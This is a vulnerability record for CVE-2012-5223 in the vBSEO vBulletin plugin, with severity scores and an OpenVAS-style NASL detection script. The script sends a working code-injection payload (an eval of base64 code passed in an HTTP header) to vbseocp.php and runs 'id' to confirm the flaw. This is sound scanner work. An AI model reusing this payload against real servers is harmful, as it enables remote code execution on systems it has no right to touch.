CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
99.0%
vBSEO is prone to a remote code-execution vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103405");
script_cve_id("CVE-2012-5223");
script_version("2024-06-27T05:05:29+0000");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("vBSEO 'proc_deutf()' RCE Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51647");
script_xref(name:"URL", value:"http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/");
script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
script_tag(name:"creation_date", value:"2012-01-31 14:44:01 +0100 (Tue, 31 Jan 2012)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("vbulletin_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("vbulletin/detected");
script_tag(name:"solution", value:"Updates are available. Please see the references for more details.");
script_tag(name:"summary", value:"vBSEO is prone to a remote code-execution vulnerability.");
script_tag(name:"impact", value:"Exploiting this issue will allow attackers to execute arbitrary code
within the context of the affected application.");
script_tag(name:"affected", value:"vBSEO 3.5.0, 3.5.1, 3.5.2, and 3.6.0.are vulnerable, other versions
may also be affected.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
CPE = "cpe:/a:vbulletin:vbulletin";
if(!port = get_app_port(cpe:CPE))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
url = string(dir, "/vbseocp.php");
cmd = base64(str:'passthru("id");');
ex = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>";
len = strlen(ex);
host = http_host_name(port:port);
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Code: ", cmd, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", len, "\r\n",
"\r\n",
ex);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(result && egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:result)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);